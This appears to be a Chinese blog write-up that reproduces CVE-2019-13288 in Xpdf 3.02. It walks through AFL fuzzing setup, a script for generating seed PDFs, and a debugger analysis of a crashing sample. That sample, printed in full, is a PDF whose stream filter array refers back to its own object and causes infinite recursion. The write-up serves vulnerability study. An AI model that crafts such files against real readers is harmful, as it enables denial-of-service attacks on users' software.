CVE-2019-13288
Description
In Xpdf 4.01.01, the Parser::getObj() function in Parser.cc may cause infinite recursion via a crafted file. A remote attacker can leverage this for a DoS attack. This is similar to CVE-2018-16646.
Compile
Download
这里选择的是 Xpdf Source Code - xpdf 3.02,而不是 4.01.01。
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gztar -zxvf xpdf-3.02.tar.gzBuild
先用 LTO mode 插下桩:
cd xpdf-3.02CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --prefix="$PWD/install"make -j`nproc`make install考虑到插桩后的代码影响调试,所以我们再单独编译一个调试用的版本:
CC=clang CXX=clang++ CFLAGS="-O0 -g -gdwarf-4 -fno-inline -fno-builtin -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" ./configure --prefix="$PWD/install-dbg"make -j`nproc`make installSamples
这里我用脚本自动生成一些最小样本,先创建一个 python 虚拟环境,以免搞乱系统环境:
uv venv .venvuv pip install reportlab pillow生成样本的脚本如下,使用 uv run python .venv/gen_corpus.py 运行。
#!/usr/bin/env python3
import osfrom reportlab.pdfgen import canvasfrom reportlab.lib.pagesizes import A4from reportlab.pdfbase import pdfmetricsfrom reportlab.pdfbase.ttfonts import TTFontfrom PIL import Image
OUTDIR = "corpus/pdf"FONT_PATH = "/usr/share/fonts/TTF/Inconsolata-Black.ttf"
os.makedirs(OUTDIR, exist_ok=True)
def path(name): return os.path.join(OUTDIR, name)
def gen_image(fname): img = Image.new("RGB", (32, 32), color=(255, 0, 0)) img.save(fname, "JPEG")
def gen_minimal(): c = canvas.Canvas(path("id_000000_minimal.pdf")) c.drawString(10, 10, "hi") c.save()
def gen_text(): c = canvas.Canvas(path("id_000001_text.pdf")) for i in range(5): c.drawString(50, 800 - i * 20, f"text line {i}") c.save()
def gen_multipage(): c = canvas.Canvas(path("id_000002_multipage.pdf")) for i in range(5): c.drawString(100, 700, f"page {i}") c.showPage() c.save()
def gen_image_pdf(): img_path = path("tmp.jpg") gen_image(img_path)
c = canvas.Canvas(path("id_000003_image.pdf"), pagesize=A4) c.drawImage(img_path, 100, 500, width=100, height=100) c.save()
os.remove(img_path)
def gen_font_pdf(): pdfmetrics.registerFont(TTFont("FuzzFont", FONT_PATH)) c = canvas.Canvas(path("id_000004_font.pdf")) c.setFont("FuzzFont", 12) c.drawString(100, 700, "font fuzz test") c.save()
def gen_stream_filter(): # Hand-written PDF: stream + FlateDecode (parser favorite) data = b"""%PDF-1.41 0 obj<< /Type /Catalog /Pages 2 0 R >>endobj2 0 obj<< /Type /Pages /Kids [3 0 R] /Count 1 >>endobj3 0 obj<< /Type /Page /Parent 2 0 R /Contents 4 0 R >>endobj4 0 obj<< /Length 5 /Filter /FlateDecode >>streamx\x9c\x03\x00\x00\x00\x00\x01endstreamendobjxref0 50000000000 65535 f0000000010 00000 n0000000060 00000 n0000000115 00000 n0000000175 00000 ntrailer<< /Root 1 0 R >>startxref240%%EOF""" with open(path("id_000005_stream_filter.pdf"), "wb") as f: f.write(data)
def main(): gen_minimal() gen_text() gen_multipage() gen_image_pdf() gen_font_pdf() gen_stream_filter() print(f"[+] PDF corpus generated in ./{OUTDIR}")
if __name__ == "__main__": main()Fuzzing
有了样本之后就可以用下面这个指令开始跑 fuzz 了:
afl-fuzz -i corpus/ -o out/ -s 1337 -- ./install/bin/pdftotext @@ -跑呀跑,刚跑两分钟就出了几个 crashes,然后我去吃了个饭,大概十几分钟,回来一看居然已经有 33 个 crashes 了。简单看了下,发现除了下面这个符合描述的 crash 样本外,还爆出来不少因为其它原因崩溃的 corpus 。不过由于我们的目标是复现 CVE-2019-13288 所描述的漏洞,所以这里只会分析这个递归炸栈的 DoS 攻击样本。
Analysis
根据上面的截图,我们不难发现,在执行 Parser::getObj 时反复使用了 objNum=7, objGen=0 作为参数,而 Object::fetch 和 XRef::fetch 的调用虽然早于 Parser::getObj,并且也在后续 backtrace 中重复出现,但从名字来看就知道,它们只是用于转发参数的函数,而不是真正创建 / 重入对象的函数,所以,我们应该从 Parser::getObj 开始分析,暂且认为它是递归环入口。
在 Parser.cc:94 下个断点,我们发现它直接进入了 makeStream,一路 n 下去,最后进入了 addFilters:
所以 addFilters 才是递归环的入口。
Stream *Stream::addFilters(Object *dict) { Object obj, obj2; Object params, params2; Stream *str; int i;
str = this; dict->dictLookup("Filter", &obj); if (obj.isNull()) { obj.free(); dict->dictLookup("F", &obj); } dict->dictLookup("DecodeParms", ¶ms); if (params.isNull()) { params.free(); dict->dictLookup("DP", ¶ms); } if (obj.isName()) { str = makeFilter(obj.getName(), str, ¶ms); } else if (obj.isArray()) { for (i = 0; i < obj.arrayGetLength(); ++i) { obj.arrayGet(i, &obj2); if (params.isArray()) params.arrayGet(i, ¶ms2); else params2.initNull(); if (obj2.isName()) { str = makeFilter(obj2.getName(), str, ¶ms2); } else { error(getPos(), "Bad filter name"); str = new EOFStream(str); } obj2.free(); params2.free(); } } else if (!obj.isNull()) { error(getPos(), "Bad 'Filter' attribute in stream"); } obj.free(); params.free();
return str;}调到 dictLookup("Filter", &obj) 的时候发现,它会去找 (objNum=7, objGen=0) 的 Dictionary 有没有 Filter:
我们的 crash 样本中这个 Indirect Object 长这样:
37 collapsed lines
%PDF-1.3% ReportLab Generated PDF document (opensource)1 0 obj<</F1 2 0 R>>endobj2 0 obj<</BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font>>endobj3 0 obj<</Contents 7 0 R /MediaBox [ 0 0 595.2756 841.8898 ] /Parent 6 0 R /Resources <</Font 1 0 R /Pr~cSet [ /PDF /Text /ImageB /ImageC /ImageI ]>> /Rotate 0 /Trans <<
>> /Type /Page>>endobj4 0 obj<</PageMode /UseNone /Pages 6 0 R /Type /Catalog>>endobj5 0 obj<</Author (anonymous) /CreationDate (D:20260210132607+08'00') /Creator (anonymous) /erated PDF doModDate (D:20260210132607+08'00') /Producer (ReportLab PDF Library - \(opensource\)) /Subject (unspecified) /Title (unti>endobj6 0 obj<</Count 1 /Kids [ 3 0 R ] /Type /Pages>>endobj7 0 obj<</Filter [ /ASCII85Decode /FlateDects 7 0 R /Meode ] /Length 87>>streamGapQh0E=F,0U\H3T\pNYT^QKk?tc>IP,;W#U1^23ihPEM_?CW4KISi9!25KZ"c\I79neZ[Kb,ht$3`$^8YHZB~>endstreamendobj23 collapsed lines
xref0 800 65535 f000061 00000 n000092 00000 n000199 00000 n000402 00000 n00 Off00 n000731 00000 n000790 00000 ntrailer<</ID[<a9e650489693d00e7eßßßßßßßßßßßßab1f137a614fa1><a9e650489693d00e7eab1f137a614fa1>]% ReportLab genKeywords () /cument -- digest (opensource)
/Info 5 0 R/Root 4 0 R/Size 8>>startxref966%%EOF显然存在 Dictionary,并且里面是有 Filter 的,所以它会拿到这个 Object 的 Filter,得到一个长度为 4 的 Array:
这和我们 crash 样本中的内容完美匹配。
如果对此有疑问的话,可以去看 PDF reference: Adobe portable document format, version 1.3 。之所以看 v1.3 而不是更新的版本,是因为我们的 crash 样本用的 PDF 规格版本就是 1.3,即 %PDF-1.3。
继续往下走,我们会进入 else if (obj.isArray()) 这个分支:
回顾最开始的递归链,我们知道程序是执行完 Object::arrayGet -> Array::get 后反回到 fetch,再次获取 (objNum=7, objGen=0) 导致无限递归的。我们步入这个函数看看当前 for 循环在 i = 0 的时候拿到了什么:
我们发现它确实按照我们预期的那样,获取到了数组索引为 0 的元素,由于类型为 objName,所以之后会进入 if (obj2.isName()) 这个分支,而又因为 Object 内部其实是一个 tagged union,所以 obj2.getName() 获取到的值为 ASCII85Decode。
再次回顾一开始的递归调用链,我们注意到造成 Array::get 后返回到 fetch 再次获取到 (objNum=7, objGen=0) 的索引是 i = 2,直接 b Array::get if i == 2 后跳过去看,确实获取到了 7 0 R:
最后,返回到 Object::fetch 后由于 type == objRef && xref 成立,导致再次 fetch 了 (objNum=7, objGen=0),如此循环,陷入无限递归,最终耗尽了栈空间,BOOM!
Fix
TODO